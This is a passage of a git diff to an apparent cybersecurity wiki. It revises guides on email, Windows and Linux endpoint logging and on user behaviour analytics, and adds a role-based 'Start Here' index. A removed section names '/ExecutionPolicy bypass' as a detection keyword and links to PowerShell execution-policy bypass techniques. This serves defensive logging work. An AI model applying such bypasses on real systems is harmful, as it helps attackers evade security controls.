gateways, cloud email audit logs, spam filters, and mail proxies. Network-derived SMTP logs can supplement this visibility. -**Required Data Points** +### SMTP Fields * Timestamp * Source IP -* Source Hostname/Domain (If available) +* Source hostname * Destination IP -* Destination Hostname/Domain (If available) -* Source email address -* Destination email address -* Return Address -* Return Path -* Message Receipt/Delivery action -* Subject line +* Destination hostname +* Sender address +* Recipient address +* Return path +* Message ID +* Subject * Message size -* X-Forwarded field -* Email Security Appliance Logs - * Appliance action - * Any available reputation or signature data - * Network level data (Connection type, protocol, byte count, etc.) - -**Optional Data Points** +* Attachment names and hashes, when available +* Delivery action +* Security appliance action and rule ID -* Full email headers. - * Handy for more indepth analysis. Use for local storage only as this can get super loud. Can also be accomplished with email server logs or packet capture solution. +For phishing investigation and threat data enrichment, use Cyber Intelligence and DFIR pages rather than duplicating those sources here. -**Enrichment Data Points** +{% content-ref url="../cyber-intelligence/threat-data.md" %} +[threat-data.md](../cyber-intelligence/threat-data.md) +{% endcontent-ref %} -* Display Names from users -* GeoIP +{% content-ref url="../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} diff --git a/security-logging/logging-guide-windows-endpoint-logs.md b/security-logging/logging-guide-windows-endpoint-logs.md index 6d3a3a1..2159ca6 100644 --- a/security-logging/logging-guide-windows-endpoint-logs.md +++ b/security-logging/logging-guide-windows-endpoint-logs.md @@ -1,201 +1,141 @@ # Logging - Endpoint Logs +Endpoint logs provide host-level visibility for authentication, process execution, file activity, PowerShell, system changes, and local security state. This page focuses on enabling and collecting endpoint logs from Windows and Linux systems. + +Detection use cases that consume endpoint logs live in Blue Defense. + +{% content-ref url="../blue-defense/event-detection/detection-use-cases/endpoint.md" %} +[endpoint.md](../blue-defense/event-detection/detection-use-cases/endpoint.md) +{% endcontent-ref %} + +{% content-ref url="../blue-defense/event-detection/detection-use-cases/command-line.md" %} +[command-line.md](../blue-defense/event-detection/detection-use-cases/command-line.md) +{% endcontent-ref %} + ## Windows -### **Windows Log Sources** - -Windows events have the ability to be exceedingly granular, but also produce more logs than we can handle. Determining the logging level is a critical first step for on-boarding windows log sources. Managing Windows logging can be easily managed by powershell commands and Group Policy Objects. - -* Windows Event Logs - (.EVT) The older standard format for windows OS event logging. -* Windows Event Logs XML - (.EVTX) An upgraded logging format with slightly smaller storage size, pre-parsed fields, and an expanded number of data fields. This format is now the primary Windows log source. - * XML fields parsed into EventData and UserData - * Allows applications to specify additional properties/fields. - * Stored in binary format and uses Windows EvtRender API to convert binary and XML. - * [https://docs.microsoft.com/en-us/windows/win32/api/winevt/ne-winevt-evt\_system\_property\_id](https://docs.microsoft.com/en-us/windows/win32/api/winevt/ne-winevt-evt\_system\_property\_id) - * [https://docs.microsoft.com/en-us/windows/win32/api/winevt/ne-winevt-evt\_log\_property\_id](https://docs.microsoft.com/en-us/windows/win32/api/winevt/ne-winevt-evt\_log\_property\_id) -* [Windows Event Tracing](https://docs.microsoft.com/en-us/archive/blogs/ntdebugging/part-3-etw-methods-of-tracing) - (ETW) Created ETL: Event Trace Logs(.ETL file), commonly used for debugging or troubleshooting. - * Disabled by default due to shear volume of data. - * [https://docs.microsoft.com/en-us/windows/win32/etw/event-tracing-portal](https://docs.microsoft.com/en-us/windows/win32/etw/event-tracing-portal) - -### **Windows Log Management** - -Windows Event logs are typically broken out into what windows calls "[Channels](https://docs.microsoft.com/en-us/windows/win32/wes/defining-channels)" which specifies the category of Events such as Application, Security, System, etc. There are four types of channels that existing within Windows: - -* Admin - Well known events. (evtx) -* Operational - Used for human analysis (evtx) -* Analytic and Debug - High volume of information for the most granular of analysis. (.etl) - -Windows uses audit policies to control what is logged and can easily be defined by group policy. Policies can con in a basic format or an advanced format for more granular control over your logging. Remember: when using advanced audit policies, enable "Force audit policy subcategory settings". Sometimes we will have systems that are not joined to the domain. Since group policy is not available, we can use a handy utility called auditpol.exe to remotely fetch and set audit policy settings. \ -Microsoft has a fantastic set of [recommendations](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/audit-policy-recommendations) for how to set-up your audit policy. CIS also has a set of [configuration recommendations](https://www.cisecurity.org/benchmark/microsoft\_windows\_desktop/) that have tons of helpful detail on why their settings are recommended. - -### **Windows Event Types** - -* Account management - Used for tracking un authorized changes in the environment. Can track changes to: - * Application Groups, - * System Accounts - * User Active Directory Distribution Groups - * Security Groups - * Account Management related events such as password change or account lockout. -* Logon/Logoff - The primary event type for detecting credential theft and reuse. - * Logon/logoff activity - * Special group logons - * Failed logins, and thier failure reason - * Account lockouts. -* Detailed Tracking - Next level details of endpoint activity - * Process creation and termination - * RPC events - * Token rights changes - * Plug-N-Play activity (Requires Win10/Server 2016) - * Command-line logging (Requires manual adjustment) -* Object Access - Event type for monitoring of network objects. Does not log all activity by default. You must place an ACL on the object or object group in order to tell the Audit Policy what to log. - * File creation/deletion/modification - * Registry key changes - * Network access - * Windows Firewall logging - * Active Directory Objects: Users, Groups, Files, Folders, etc. - * Certificates - -### **Supplementary Windows logging** - -#### When Event logs are not enough - -[Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon): A Sysinternals tool that provides detailed information about process creations, network connections, and changes to file creation time. It is a wealth of information that can be used for a variety of purposes in Incident Response, Event Detection, and Threat Hunting.\ -Sysmon adds additional logging capabilities over standard windows event logs. It can provide logs for driver/dll loding activities, WMI monitoring, and can provide process hashes and parent processes for analysis. - -* [SysmonForLinux](https://github.com/Sysinternals/SysmonForLinux) - Linux version of Sysmon. Installation guide for Ubuuntu available on Github. -* [Sysmon-dfir](https://github.com/MHaggis/sysmon-dfir) - Sources, configuration and how to detect evil things utilizing Microsoft Sysmon. -* [Sysmon-modular](https://github.com/olafhartong/sysmon-modular) - A repository of Sysmon configuration modules that breaks out Sysmon's functions into subfolders. You can use powershell to combine each function file into one larger XML configuration file. -* [Sysmon-config ](https://github.com/SwiftOnSecurity/sysmon-config)- SwiftOnSecurity's Sysmon configuration file template with default high-quality event tracing. Advanced Sysmon configurations require the use of an XML configuration file. -* [SysmonSearch](https://github.com/JPCERTCC/SysmonSearch) - Investigate suspicious activity by visualizing Sysmon's event log. -* [TrustedSec Sysmon Community Guide](https://www.trustedsec.com/tools/trustedsec-sysmon-community-guide/) - Everything Dave Kennedy writes/makes is gold. It is the way. -* [Sysmon Threat Analysis Guide](https://www.varonis.com/blog/sysmon-threat-detection-guide/) [Splunking the Endpoint: Threat Hunting with Sysmon](https://haggis-m.medium.com/splunking-the-endpoint-threat-hunting-with-sysmon-9dd956e3e1bd) -* [Espy](https://github.com/activecm/espy/): Endpoint detection for remote hosts for consumption by RITA and Elasticsearch -* [Sysmon API MindMap](https://raw.githubusercontent.com/OTRF/API-To-Event/master/images/API-to-Sysmon.svg) -* [https://docplayer.net/19532221-Tracking-hackers-on-your-network-with-sysinternals-sysmon.html](https://docplayer.net/19532221-Tracking-hackers-on-your-network-with-sysinternals-sysmon.html) - -Custom Powershell Log Creation: When you have a program that only outputs logs to a file, or if you have a reoccurring task that you would like to log the output from, you can use the powershell "Write-EventLog" to output the results to a log file. - -### **Windows Log Collection** - -To achieve the greatest utility and flexibility, it is preferred to use a log agent over agentless collection. Windows also has a great log agent built into the platform with the Windows Event Collector. - -* **Windows Event Forwarding** - The built-in log forwarding and collecting service within windows - * Requires a Windows Event Collector logging agent to be configured and running - * The Collector will then pull events from the endpoint, or the endpoint will push them to the Collector. - * GPO can be users to tell the endpoints which events to push. - * This is intended to be sent from one windows host to a windows collector, NOT directly into a SIEM. - * Does not support the forwarding of ETL files - * Can manage event subscriptions via an intuitive GUI, or by a custom XML file. - * [https://hackernoon.com/the-windows-event-forwarding-survival-guide-2010db7a68c4](https://hackernoon.com/the-windows-event-forwarding-survival-guide-2010db7a68c4) - * [https://docs.microsoft.com/en-us/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection](https://docs.microsoft.com/en-us/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection) - * [https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem](https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem) - * [https://petri.com/configure-event-log-forwarding-windows-server-2012-r2/](https://petri.com/configure-event-log-forwarding-windows-server-2012-r2/) - * [https://blog.palantir.com/windows-event-forwarding-for-network-defense-cb208d5ff86f?gi=79f1178de0ae](https://blog.palantir.com/windows-event-forwarding-for-network-defense-cb208d5ff86f?gi=79f1178de0ae) - * [https://github.com/palantir/windows-event-forwarding](https://github.com/palantir/windows-event-forwarding) -* **Blind Drop** - When certain applications or devices cannot output files, or your organization refuses to install an agent on a device, you can output available logs to a file and then share the log files with a file server then into your SIEM for processing. - * Requires a single file server and a third party agent or powershell script - * File server is set up to allow log files to be uploaded but never modified or viewed. +### Windows Log Sources -## Linux +* **EVT** - Older Windows event log format. +* **EVTX** - Current Windows event log format with structured XML fields. +* **ETW / ETL** - Event Tracing for Windows and Event Trace Log files. Useful for high-volume tracing, debugging, and specialized telemetry. + +Useful Microsoft references: + +* [Windows Event Log API](https://learn.microsoft.com/en-us/windows/win32/wes/windows-event-log) +* [EVT_SYSTEM_PROPERTY_ID](https://learn.microsoft.com/en-us/windows/win32/api/winevt/ne-winevt-evt_system_property_id) +* [EVT_LOG_PROPERTY_ID](https://learn.microsoft.com/en-us/windows/win32/api/winevt/ne-winevt-evt_log_property_id) +* [Event Tracing](https://learn.microsoft.com/en-us/windows/win32/etw/event-tracing-portal) + +### Windows Log Management + +Windows event channels include: + +* **Admin** - Events intended for administrators. +* **Operational** - Events used for operational troubleshooting and analysis. +* **Analytic and Debug** - High-volume tracing channels, often disabled by default. -### **Linux Log Sources** +Windows audit policy controls what security events are logged. Use Group Policy for domain systems and `auditpol.exe` for local or remote inspection where appropriate. -Syslog - The original method of logging for Linux. +* [Microsoft audit policy recommendations](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/audit-policy-recommendations) +* [CIS Microsoft Windows Benchmarks](https://www.cisecurity.org/benchmark/microsoft_windows_desktop/) -* Linux devices listen using a local socket by default -* Syslog daemon stores in /var/log/ by default -* Only supports UDP port 514 -* Common log files - * /var/log/message - Global message (general activity) - * /var/log/auth.log - Authentication related logs - * /var/log/boot.log - Boot time events - * /var/log/daemon.log - Background Process Events - * /var/log/kern.log - Kernel messages (Used for trouble shooting) - * /var/log/cron.log - Events related to scheduled tasks - * /var/log/secure - su or sudo related events. -* Syslog codes - These are the digits in the log files that identify both the purpose of the log and the importance. - * Facility Codes - Details the purpose of the log. (0-23) - * Severity Codes - Details the urgency of the log. (0-7) - * [https://www.ietf.org/rfc/rfc5424.txt](https://www.ietf.org/rfc/rfc5424.txt) -* Syslog Structure - * PRI - Number that combines Severity and Faciltiy codes together. PRI= Severity + (Faciltiy\*8) +### Windows Event Types -[Syslog-NG](https://www.syslog-ng.com/products/open-source-log-management/) - Syslog enhanced +* **Account management** - User, group, and account lifecycle changes. +* **Logon/Logoff** - Logon activity, failed logons, lockouts, and special logons. +* **Detailed tracking** - Process creation, process termination, RPC events, token changes, and plug-and-play activity. +* **Object access** - File, registry, network share, firewall, certificate, and Active Directory object access when auditing is configured. -* Created to fill in the capability gaps for original syslog -* Adds ability to transport over TCP and SSL/TLS -* Capable of logging higher volumes of up to 600k+ messages per second -* Can perform custom filtering and parsing -* Easier to use config file -* Can send logs to multiple locations simultaneously +### Supplementary Windows Logging -[Rsyslog](https://www.rsyslog.com/) - Rocket-fast Syslog +Sysmon is a supplementary log source for process creation, network connections, driver and DLL loading, WMI activity, hashes, parent process relationships, registry activity, and more. Keep Sysmon configuration and detection resources on the Sysmon page. -* As the name implies, can handle a massing 1million+ messages per second to local logging. -* Similar in increase in function to Syslog-NG -* Supports RELP: Reliable Event Logging Protocol -* Uses liblognorm instead of Regex to parse +{% content-ref url="../blue-defense/event-detection/sysmon.md" %} +[sysmon.md](../blue-defense/event-detection/sysmon.md) +{% endcontent-ref %} + +Custom PowerShell logging can also be useful when scripts or programs only write to local files. `Write-EventLog` can place custom operational output into Windows Event Logs. + +### Windows Event Forwarding + +Windows Event Forwarding (WEF) is the built-in Windows collection mechanism for forwarding Windows Event Logs to a Windows Event Collector. + +* Uses WinRM. +* Can be configured by Group Policy. +* Supports source-initiated and collector-initiated subscriptions. +* Is intended for Windows endpoint-to-Windows collector forwarding, not direct SIEM ingestion. +* Does not forward ETL files. + +References: + +* [Microsoft: Use Windows Event Forwarding to help with intrusion detection](https://learn.microsoft.com/en-us/windows/security/operating-system-security/device-management/use-windows-event-forwarding-to-assist-in-intrusion-detection) +* [Windows Event Forwarding Survival Guide](https://hackernoon.com/the-windows-event-forwarding-survival-guide-2010db7a68c4) +* [Monitoring What Matters: Windows Event Forwarding for Everyone](https://learn.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem) +* [Palantir Windows Event Forwarding](https://github.com/palantir/windows-event-forwarding) +* [Palantir: Windows Event Forwarding for Network Defense](https://blog.palantir.com/windows-event-forwarding-for-network-defense-cb208d5ff86f) + +### Blind Drop Collection + +Blind drop collection is useful when an application or device can write logs only to a file and an agent cannot be installed. A file server accepts log uploads, then a collector or agent forwards those files to the logging platform. + +## Linux -### Third party logging tools +### Syslog -* [Auditd](https://linux.die.net/man/8/auditd) - Logging system developed by Red Hat - * Provides additional logging information including user activity and process activity. - * Config file of audit.rules contains 3 rules types - * Control rules - Defines config settings of the logs - * System call rules - Monitors system calls for processes and users. - * File monitor rules - * [https://access.redhat.com/documentation/en-us/red\_hat\_enterprise\_linux/6/html/security\_guide/chap-system\_auditing](https://access.redhat.com/documentation/en-us/red\_hat\_enterprise\_linux/6/html/security\_guide/chap-system\_auditing) -* [Snoopy Logger](https://github.com/a2o/snoopy) - Utility designed to log command line execution to syslog -* [SysmonForLinux](https://github.com/Sysinternals/SysmonForLinux) - Linux version of Sysmon. Installation guide for Ubuuntu available on Github. +Linux systems typically write local logs under `/var/log/` through a syslog daemon. Modern syslog implementations can forward over UDP, TCP, RELP, and TLS depending on the daemon and configuration. -## **Command line and Scripting basics** +Common log paths: -In both Windows and Linux, the command line is actually an interpreter for scripting. Commands can be scripted for both the native command line utilities such as cmd.exe and Bash, as well as more powerful languages like Powershell or Python. Powershell in particular is used heavily for administrative actions within a network, as well as being used maliciously in over 38% of all incidents. +* `/var/log/messages` - General system messages on many distributions. +* `/var/log/auth.log` - Authentication events on Debian/Ubuntu-style systems. +* `/var/log/secure` - Authentication and sudo-related events on RHEL-style systems. +* `/var/log/boot.log` - Boot events. +* `/var/log/daemon.log` - Daemon and background process events. +* `/var/log/kern.log` - Kernel messages. +* `/var/log/cron.log` - Scheduled task events. -When logging command line usage and script calls it is important to understand thier common usage. Script files are used for automation and are seen being used very commonly by defenders. Defenders will often have repetitive, complex tasks that automation through a script will drastically increase their workflow. Now, all of those tasks can be put manually in the command line instead of a script, but they can be incredibly long commands. In order to bypass detection by antivirus, often times attackers will place their long commands directly into the command line or call remote code, rather than directly run a script. Remember: Antivirus cannot detect a signature, when there is no file. +Syslog metadata: -### **Powershell Execution Policy and other security** +* **Facility** - Message source category. +* **Severity** - Message importance. +* **PRI** - Facility and severity encoded together. -Powershell has a built in security setting called the Execution policy. It was originally designed to prevent admins from running code they didnt intend on running. There are 4 policy settings available in Powershell. +### Syslog Implementations -* Restricted - Interactive commands only. No scripts. -* AllSigned - Permits only scripts that are digitally assigned by approved publishers -* RemoteSigned - Permits only scripts that are signed by approved publishers or generated locally. -* Unrestricted - Permits all scripts. +* [syslog-ng](https://www.syslog-ng.com/products/open-source-log-management/) - Enhanced syslog daemon with filtering, parsing, routing, TCP, and TLS support. +* [rsyslog](https://www.rsyslog.com/) - High-performance syslog daemon with RELP, TCP/TLS forwarding, queues, and parsing support. -Sadly, there are quite a few ways to bypass it. That being said, you can create detections for most of these techniques. [https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/](https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/) +### Linux Audit and Command Logging -Applocker can be used to allow or deny powershell use based on powershell itself, or particular scripts through a feature called [JEA: Just Enough Administration](https://github.com/PowerShell/JEA). +* [auditd](https://linux.die.net/man/8/auditd) - Linux audit subsystem for system calls, file watches, and security-relevant activity. + * [Red Hat System Auditing Guide](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing) +* [Snoopy Logger](https://github.com/a2o/snoopy) - Logs command execution to syslog. +* [SysmonForLinux](https://github.com/Sysinternals/SysmonForLinux) - Linux Sysmon implementation. -### **Command Line Logging** +## Command Line and Script Logging -Command line logging is not typically enabled by default. For windows environments, even enabled, you must take one step further in order to log the command line parameters as well. +Command lines and scripts provide high-value context for both administration and attacker activity. Enable enough detail to capture command intent, but plan for noise and sensitive data handling. -* Windows - Enable logging of process creations under Windows Audit Policy - * Computer Configuration -> Policies -> Administrative Templates -> System -> Audit Process Creation. -* Powershell - * Event logs under Application and service logs -> Microsoft -> Windows -> "Microsoft-Windows-Powershell/Operational" - * Module Logging - Records when a function from a module is invoked. Extremely verbose. - * Event ID 4103 - Powershell Module Loaded - * Requires Powershell 3.0 - * Script Block Logging - Generates a log for each block of code executed. - * Recorded at time of execution. Data is decoded within the log. Combine with command line logging to get both the before and after data. - * Contains extra field called Event Type. Can classify suspicious commands with a WARNING level log. - * Event ID 4104 - Creation of Script Block - * Event ID 4105 - Script Block Execution Start - * Event ID 4106 - Script Block Execution Stop - * Requires Powershell 5.0 - * Transcription Logging - Contains both the input and output, only saves to a file. +### Windows Command and PowerShell Logging -### **Command line key words for detection** +* Enable process creation auditing. +* Enable command-line parameter logging for process creation. +* Collect PowerShell Operational logs. +* Enable PowerShell module logging where useful. +* Enable PowerShell script block logging for decoded script content. +* Enable transcription logging when you need full input/output records and have storage controls in place. -* Powershell - * "/ExecutionPolicy bypass" +PowerShell execution policy bypasses are offensive/defense-evasion techniques; keep bypass details in Red Offensive and detection ideas in Blue Defense command-line use cases. -### **Reference** +{% content-ref url="../red-offensive/testing-methodology/post-exploitation/defense-evasion.md" %} +[defense-evasion.md](../red-offensive/testing-methodology/post-exploitation/defense-evasion.md) +{% endcontent-ref %} -* [https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.1\&viewFallbackFrom=powershell-6](https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.1\&viewFallbackFrom=powershell-6) +{% content-ref url="../blue-defense/event-detection/detection-use-cases/command-line.md" %} +[command-line.md](../blue-defense/event-detection/detection-use-cases/command-line.md) +{% endcontent-ref %} -**** +PowerShell reference: -**** +* [PowerShell documentation](https://learn.microsoft.com/en-us/powershell/scripting/overview) diff --git a/security-logging/logging-user-behavior-monitoring.md b/security-logging/logging-user-behavior-monitoring.md index 647e06f..26b8da4 100644 --- a/security-logging/logging-user-behavior-monitoring.md +++ b/security-logging/logging-user-behavior-monitoring.md @@ -1,22 +1,39 @@ # Logging - User Behavior Monitoring -While UBA (User Behavior Analytics) or UEBA (User and Entity Behavior Analytics), is a detection methodology typically used in more mature security operations, it still can be incredibly beneficial if deployed properly. The only caveat to this, is that it requires large amounts of data and tuning in order to be successful. This is NOT a plug and play security solution. +User Behavior Analytics (UBA) and User and Entity Behavior Analytics (UEBA) compare current activity against expected behavior for a user, role, host, or peer group. These systems can be useful, but they require clean identity data, enough historical activity, and sustained tuning. -"If you do not know your environment and you have not implemented a basic defensible posture, do not start with these types of products" - SANS SEC555 +Do not start with UEBA if the environment does not have basic asset inventory, identity hygiene, endpoint logging, and defensible baselines. -**UBA Components** +## UBA Components -User behavior monitoring typically involves 3 separate tasks: +* **Allowed activity models** - Expected applications, logon patterns, locations, devices, and administrative tasks. +* **Denied or high-risk activity models** - Actions that are never expected for a user, group, asset, or environment. +* **Deviation detection** - Identification of activity that differs from normal behavior for a user or peer group. +* **Entity context** - Device, user, role, group, location, and asset criticality context that makes deviations meaningful. -* Allow lists of user activities - Start with general activity accepted by all users. This is further enhanced with tagging and definitions of user groups. -* Deny list of user activities - As above, start with general activity accepted by all users. This is further enhanced with tagging and definitions of user groups. -* Identifying deviations from normal user activity. Most people are creatures of habit. This also extends to roles. While system admins may perform previously unseen tasks are regular intervals, the accounting department does not tend to stray from the same actions and applications. +## UBA and UEBA Tools -**UBA Tools** +* SIEM-native UEBA features - Many SIEMs include behavior analytics, such as [Splunk UEBA](https://www.splunk.com/en_us/data-insider/user-behavior-analytics-ueba.html). +* [OpenUBA](https://github.com/GACWR/OpenUBA) - Open source user behavior analytics project. Appears unmaintained; validate before use. The project historically expected multiple weeks of activity before useful baselines. +* [Microsoft Advanced Threat Analytics](https://learn.microsoft.com/en-us/advanced-threat-analytics/what-is-ata) - Deprecated Microsoft behavioral analytics product. Microsoft Defender for Identity is the replacement. +* [Microsoft Defender for Identity](https://www.microsoft.com/en-us/security/business/threat-protection/identity-defender) +* [User-Behavior-Mapping-Tool](https://github.com/trustedsec/User-Behavior-Mapping-Tool) - TrustedSec project for mapping common user behavior on Windows systems. + * [TrustedSec: Oh Behave! Figuring Out User Behavior](https://www.trustedsec.com/blog/oh-behave-figuring-out-user-behavior/) -* UBA/UEBA Tools built into you SIEM - Many SIEMs have built in UEBA utilities like [Splunk's UEBA](https://www.splunk.com/en\_us/data-insider/user-behavior-analytics-ueba.html). -* [OpenUBA](https://github.com/GACWR/OpenUBA)[https://openuba.org/](https://openuba.org/) -* [Microsoft Advanced Threat Analytics (ATA)](https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata) - Microsoft's behavioral analytics tool that has recently been made EOL and is being replaced with [Identity Defender](https://www.microsoft.com/en-us/security/business/threat-protection/identity-defender) - * Requires 21 days with 12 days of activity from the target users - Open source data science project for user behavior monitoring. -* [User-Behavior-Mapping-Tool](https://github.com/trustedsec/User-Behavior-Mapping-Tool) -Project aims to map out common user behavior on the computer. Most of the code is based on the research by kacos2000 found here: [https://github.com/kacos2000/WindowsTimeline](https://github.com/kacos2000/WindowsTimeline) - * [https://www.trustedsec.com/blog/oh-behave-figuring-out-user-behavior/](https://www.trustedsec.com/blog/oh-behave-figuring-out-user-behavior/) +## Related Pages + +Behavior analytics depends on device inventory and endpoint logging. + +{% content-ref url="device-discovery-and-asset-inventory.md" %} +[device-discovery-and-asset-inventory.md](device-discovery-and-asset-inventory.md) +{% endcontent-ref %} + +{% content-ref url="logging-guide-windows-endpoint-logs.md" %} +[logging-guide-windows-endpoint-logs.md](logging-guide-windows-endpoint-logs.md) +{% endcontent-ref %} + +Detection use cases belong in Blue Defense. + +{% content-ref url="../blue-defense/event-detection/" %} +[event-detection](../blue-defense/event-detection/) +{% endcontent-ref %} diff --git a/start-here.md b/start-here.md new file mode 100644 index 0000000..1301183 --- /dev/null +++ b/start-here.md @@ -0,0 +1,127 @@ +--- +description: Guided cyber security learning paths for SOC analysts, pentesters, DFIR practitioners, CTI analysts, AppSec testers, and beginners. +--- + +# Start Here + +Use this page when you know the role, workflow, or learning goal you care about, but not which section to open first. + +## New to Cyber Security + +Start with fundamentals, then branch into the color-coded sections as your interests sharpen. + +{% content-ref url="training/" %} +[training](training/) +{% endcontent-ref %} + +{% content-ref url="yellow-neteng-sysadmin.md" %} +[yellow-neteng-sysadmin.md](yellow-neteng-sysadmin.md) +{% endcontent-ref %} + +{% content-ref url="code-tools/" %} +[code-tools](code-tools/) +{% endcontent-ref %} + +## SOC Analyst / Blue Team + +Use these pages for defensive operations, SIEM work, detection engineering, endpoint visibility, packet analysis, and hardening. + +{% content-ref url="blue-defense/" %} +[blue-defense](blue-defense/) +{% endcontent-ref %} + +{% content-ref url="blue-defense/event-detection/" %} +[event-detection](blue-defense/event-detection/) +{% endcontent-ref %} + +{% content-ref url="security-logging/" %} +[security-logging](security-logging/) +{% endcontent-ref %} + +## DFIR Practitioner + +Use these pages for live response, forensic triage, event logs, memory forensics, malware analysis, and evidence handling. + +{% content-ref url="dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} + +{% content-ref url="dfir-digital-forensics-and-incident-response/windows-dfir-checks.md" %} +[windows-dfir-checks.md](dfir-digital-forensics-and-incident-response/windows-dfir-checks.md) +{% endcontent-ref %} + +{% content-ref url="dfir-digital-forensics-and-incident-response/memory-forensics/" %} +[memory-forensics](dfir-digital-forensics-and-incident-response/memory-forensics/) +{% endcontent-ref %} + +## Cyber Threat Intelligence / OSINT + +Use these pages for threat data, indicators, enrichment, source evaluation, domain and IP investigation, usernames, email, social media, and public records. + +{% content-ref url="cyber-intelligence/" %} +[cyber-intelligence](cyber-intelligence/) +{% endcontent-ref %} + +{% content-ref url="cyber-intelligence/osint/" %} +[osint](cyber-intelligence/osint/) +{% endcontent-ref %} + +{% content-ref url="cyber-intelligence/threat-data.md" %} +[threat-data.md](cyber-intelligence/threat-data.md) +{% endcontent-ref %} + +## Pentester / Red Team + +Use these pages for authorized offensive operations, active reconnaissance, exploitation, post-exploitation, lateral movement, password attacks, and red/purple team exercises. + +{% content-ref url="red-offensive/" %} +[red-offensive](red-offensive/) +{% endcontent-ref %} + +{% content-ref url="red-offensive/scanning-active-recon/" %} +[scanning-active-recon](red-offensive/scanning-active-recon/) +{% endcontent-ref %} + +{% content-ref url="red-offensive/exploitation-and-targets/" %} +[exploitation-and-targets](red-offensive/exploitation-and-targets/) +{% endcontent-ref %} + +## AppSec / Web Testing + +Use these pages for web application testing methodology, Burp Suite, OAuth, API security, TLS, WAF testing, SQL injection, XSS, CSRF, XXE, and other web vulnerabilities. + +{% content-ref url="web-app-hacking/" %} +[web-app-hacking](web-app-hacking/) +{% endcontent-ref %} + +{% content-ref url="web-app-hacking/burp-suite.md" %} +[burp-suite.md](web-app-hacking/burp-suite.md) +{% endcontent-ref %} + +{% content-ref url="web-app-hacking/attacks-and-vulnerabilities/" %} +[attacks-and-vulnerabilities](web-app-hacking/attacks-and-vulnerabilities/) +{% endcontent-ref %} + +## Cloud / Containers / Platform Security + +Use these pages for AWS, Azure, Google Cloud, Microsoft 365, Docker, Kubernetes, image scanning, runtime security, and cloud or container logging. + +{% content-ref url="cloud.md" %} +[cloud.md](cloud.md) +{% endcontent-ref %} + +{% content-ref url="containers.md" %} +[containers.md](containers.md) +{% endcontent-ref %} + +{% content-ref url="security-logging/logging-cloud.md" %} +[logging-cloud.md](security-logging/logging-cloud.md) +{% endcontent-ref %} + +## Privacy / Tor / OPSEC + +Use this section for personal privacy, Tor fundamentals, PGP, secure communication, and operational safety. The Jolly Roger page is preserved as a historical archive. + +{% content-ref url="grey-privacy-tor-opsec/" %} +[grey-privacy-tor-opsec](grey-privacy-tor-opsec/) +{% endcontent-ref %} diff --git a/training/README.md b/training/README.md index 0f82e22..8c96503 100644 --- a/training/README.md +++ b/training/README.md @@ -1,3 +1,7 @@ +--- +description: Cyber security training resources, courses, certifications, books, labs, CTF practice, TryHackMe rooms, and Awesome lists. +--- + # Training and Resources ## **Beginner Training** @@ -8,7 +12,7 @@ * [https://www.cyberaces.org/courses.html](https://www.cyberaces.org/courses.html) - Free SANS intro to security course. * [EC Council Essential's Series](https://codered.eccouncil.org/essentials-series-bundle/) - The Essential Series includes three courses, each covering essential skills in [Network Defense](https://codered.eccouncil.org/essentials-series-bundle/#network-defense-essentials), [Ethical Hacking](https://codered.eccouncil.org/essentials-series-bundle/#ethical-hacking-essentials), and [Digital Forensics](https://codered.eccouncil.org/essentials-series-bundle/#digital-forensics-essentials). This introductory course series is designed for today's entry-level careers in information security, network defense, and digital forensics and is ideal for learners aspiring to pursue a career in cybersecurity. * [Cisco Networking Academy: Intro to Cyber Security](https://www.netacad.com/portal/web/self-enroll/c/course-1003729) - Learn how to protect your personal data and privacy online and in social media, and why more and more IT jobs require cybersecurity awareness and understanding. Receive a certificate of completion. -* [Cisco Netwoking Academy: Cyber Security Essentials](https://www.netacad.com/portal/web/self-enroll/c/course-1003733) - Foundational knowledge and essential skills for all cybersecurity domains, including info security, systems sec, network sec, ethics and laws, and defense and mitigation techniques used in protecting businesses. +* [Cisco Networking Academy: Cyber Security Essentials](https://www.netacad.com/portal/web/self-enroll/c/course-1003733) - Foundational knowledge and essential skills for all cybersecurity domains, including info security, systems sec, network sec, ethics and laws, and defense and mitigation techniques used in protecting businesses. * [https://www.hoppersroppers.org/training.html](https://www.hoppersroppers.org/training.html) - The training portion of the site is designed to teach core competencies and more importantly, provide a wide base of knowledge on how to find and use the resources available. * [MICS - Introduction to Cyber Security](https://www.mosse-institute.com/certifications/mics-introduction-to-cyber-security.html) - MICS teaches entry-level cyber security skills in domains such as open-source intelligence, security tools, operational security, network reconnaissance and threat hunting. Students who have successfully achieved their MICS Certification from MCSI can apply for winter/summer internships worldwide with the confidence that they have the competencies the industry is seeking. * [Cybersecurity 101: The Fundamentals of Cybersecurity by Crowdstrike.](https://www.crowdstrike.com/cybersecurity-101/) @@ -80,7 +84,7 @@ This goes perfectly between Career resources and Training material as cyber cert * [https://academy.attackiq.com/](https://academy.attackiq.com/) - Free courses taught by cybersecurity practitioners at the cutting edge of the field, students gain realistic, hands-on experience in building a threat-informed defense to improve cybersecurity effectiveness. * [https://opensecuritytraining.info/](https://opensecuritytraining.info/) - Open source platform that provides crowd sources free training on various cyber topics. * [https://www.thecybermentor.com/](https://www.thecybermentor.com/) - The platform of the Cyber Mentor. This site offers both free and premium training material and even their own practical penetration testing certification. -* 